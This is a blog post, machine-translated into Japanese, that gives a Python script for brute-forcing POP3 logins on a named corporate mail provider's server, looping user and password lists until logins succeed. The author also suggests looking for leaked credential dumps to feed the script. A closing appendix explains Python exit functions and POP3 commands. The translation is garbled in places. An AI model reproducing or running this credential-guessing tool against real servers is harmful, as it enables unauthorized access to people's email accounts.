ホームページ  >  記事  >  バックエンド開発  >  Python は企業メールボックス用のブラスト スクリプトを作成します

Python は企業メールボックス用のブラスト スクリプトを作成します

高洛峰
高洛峰オリジナル
2017-02-06 14:00:262018ブラウズ

マスターから与えられたタスクに従って、企業メールボックスのブラスト スクリプトを作成し、続いて FTP や SSH などのブラスト スクリプトをいくつか書きました。

最初に全体的なアイデアについて話させてください:

全体的なアイデアは、Python の Poplib モジュールを使用して Pop3 サーバーから対話し、取得した関連情報に基づいて結果を生成することです。 POP3 プロトコルは複雑ではありません。サーバーにコマンドを送信すると、サーバーは必ずメッセージを返します

Sys。コマンドラインパラメーターを取得するには、sys.argv[0] がコード自体のファイルパスを表すため、パラメーターは 1 から始まります


2 次に、ユーザーパスワードファイル

3 から情報を読み取ります。 .pop.getwelcome() は、サーバーの応答ステータスを取得するために使用されます

4. 次に、スクリプトのコア コード部分が来ます

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5. 最後に、関連するユーザー情報が出力されます

スクリプト コードは次のとおりです。以下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''
 
import threading, time, random, sys, poplib
from copy import copy
 
if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)
 
server = "pop.qiye.163.com"
success = []
 
try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)
 
try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass
 
def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(&#39; &#39;)[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
 
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

テスト結果:

Python は企業メールボックス用のブラスト スクリプトを作成します手順:

ユーザー辞書ファイル zhangsan@domain.com、lisi@domain.com、wangwu@domain.com と同様に @domain.com が必要です。私は企業の電子メール アカウントとパスワードを持っていないため、うまくテストできませんでした。興味があれば、関連するソーシャル ワーク パンツを検索してください。

添付:

Pythonのos._exit()、sys.exit()、exit()の違いは何ですか?

sys.exit(n) プログラムを終了すると SystemExit 例外が発生します。n のデフォルト値は 0 で、この例外がキャッチされない場合は異常終了を示します。 、これをキャッチして直接終了します。例外は追加のクリーンアップ作業を行うことができます。 通常、この exit

os._exit(n) は、Python インタープリターを直接終了するためにメイン プログラムで使用され、後続のコードは実行されず、例外もスローされず、関連するクリーンアップ作業も実行されません。

exit() は、C などの他の言語の exit() と同じである必要があります。pop3 が電子メールを受信するプロセスは一般的に次のとおりです。

pop3 サーバー (poplib. POP3.__init__)

検証用のユーザー名とパスワードを送信 (poplib.POP3.user Poplib.POP3.pass_)

メールボックス内のメール情報を取得 (poplib.POP3.stat)

メールを受信 (poplib.POP3.retr) )

メール削除(poplib.POP3.dele)

終了(poplib .POP3.quit)

コマンドpoplibメソッドパラメータステータス説明

------- ---------------- ---------------------------------- ---------------- ----------

USER user username このコマンドと次の pass コマンドが成功すると、状態遷移
PASS pass_password はユーザーのパスワードを承認します

APOP apop 名、ダイジェストはダイジェストが MD5 メッセージであることを認識します 概要

------------------------ ------------------------ ------------------------ ------------------------
STAT stat なし リクエスト サーバーを処理して、メッセージの総数や合計メッセージ数など、メールボックスに関する統計を送り返します。バイト数
UIDL uidl [Msg#] 返されたメッセージの一意の識別子を処理します。POP3 セッションの各識別子は一意になります
LIST list [Msg#] プロセスはメッセージの数と各メッセージのサイズを返します
RETR retr [Msg#] プロセスはパラメータで識別されたメッセージの全文を返します
DELE dele [Msg#] quit コマンドの実行で指定されたように、パラメータで識別されたメッセージに削除のマークを付けるサーバを処理します
RSET rset なし 処理サーバは、削除対象としてマークされたすべての電子メールをリセットします。DELE コマンドを元に戻すために使用されます
TOP トップ [Msg#] 処理サーバーは、パラメーターで識別された電子メールの最初の n 行を返します。n は正の整数である必要があります
NOOP noop なし 処理サーバー肯定的な応答が返されます

企業メールボックス用の Python ブラスト スクリプトに関連するその他の記事については、PHP 中国語 Web サイトに注目してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。